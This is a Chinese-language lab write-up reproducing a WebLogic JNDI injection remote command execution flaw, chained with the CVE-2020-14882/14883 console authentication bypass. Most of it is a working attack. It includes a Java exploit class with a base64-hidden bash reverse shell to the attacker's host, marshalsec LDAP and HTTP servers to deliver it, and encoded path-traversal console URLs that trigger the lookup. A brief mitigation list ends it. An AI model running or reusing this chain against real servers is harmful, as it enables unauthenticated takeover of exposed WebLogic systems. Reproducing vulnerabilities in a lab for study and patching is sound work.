首页 漏洞复现

1 漏洞简介

WebLogic JNDI注入远程命令执行漏洞(需要登录,可配合未授权访问漏洞CVE-2020-14882&CVE-2020-14883)

2 影响版本

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

3 环境搭建

目标机ip:192.168.248.135
攻击机ip:192.168.248.140

$ sudo docker pull ismaleiva90/weblogic12
$ sudo docker run -d -p 7001:7001 -p 7002:7002 -p 5556:5556 ismaleiva90/weblogic12:latest

启动后,访问http://target-ip:7001/console/即可
用户名/密码:weblogic/welcome1
72781-qzawjy0293.png

4 复现

4.1 启动Ldap服务

1、编译生成Exploit.class
自行替换base64编码部分的ip port
javac Exploit.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
  public Exploit() throws Exception {
      //Process p =Runtime.getRuntime().exec(newString[]{"cmd","/c","calc.exe"});
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OC4xNDAvNjY2NiAwPiYx|base64 -d |bash"});
      InputStream is = p.getInputStream();
      BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
      String line;
      while((line = reader.readLine()) != null) {
          System.out.println(line);
      }
 
      p.waitFor();
      is.close();
      reader.close();
      p.destroy();
    }
 
  public static void main(String[] args) throws Exception {
    }
}

攻击机使用python开个web服务

# python3 -m http.server 7777

2、使用marshalsec启动一个ladp服务器
下载地址:marshalsec
切换到此文件目录后打包mvn clean package -DskipTests
打包完成后在\marshalsec\target目录下会生成一个marshalsec-0.0.3-SNAPSHOT-all.jar文件
在攻击机下运行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer  http://192.168.248.140:7777/\#Exploit 9000

7777为web的端口,9000为ladp监听的端口
63914-3khlbl3dtxz.png

4.2 利用

攻击机监听6666
57370-ibipd3e9yz.png
登录后的请求payload为:
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.248;140:1389/Basic/WeblogicEcho;AdminServer%22)
这里配合未授权访问的漏洞(CVE-2020-14882&CVE-2020-14883),抓包修改请求payload为:
/console/css/%252e%252e%252f/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.248;140:9000/exp;AdminServer%22)
发包后成功反弹shell(注:此处ip中间为分号,ldap://192.168.248;140:9000)
23504-znmhb2ylzc.png

4.3 命令执行回显

可以使用利用工具,更加便捷JNDIExploit
java -jar JNDIExploit-v1.11.jar -i 192.168.248.140
16836-sacvadicwx.png
请求payload为:
/console/css/%252e%252e%252f/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.248;140:1389/Basic/WeblogicEcho;AdminServer%22)
添加cmd请求头,可获得回显
01249-1h809879iyy.png

5 修复建议

  • 禁用T3协议
    如果您不依赖T3协议进行JVM通信,可通过暂时阻断T3协议缓解此漏洞带来的影响

    • 进入Weblogic控制台,在base_domain配置页面中,进入“安全”选项卡页面,点击“筛选器”,配置筛选器。
    • 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入: 7001 deny t3 t3s。
  • 禁止启用IIOP
    登陆Weblogic控制台,找到启用IIOP选项,取消勾选,重启生效
  • 临时关闭后台/console/console.portal对外访问
  • 升级官方安全补丁


文章评论

目录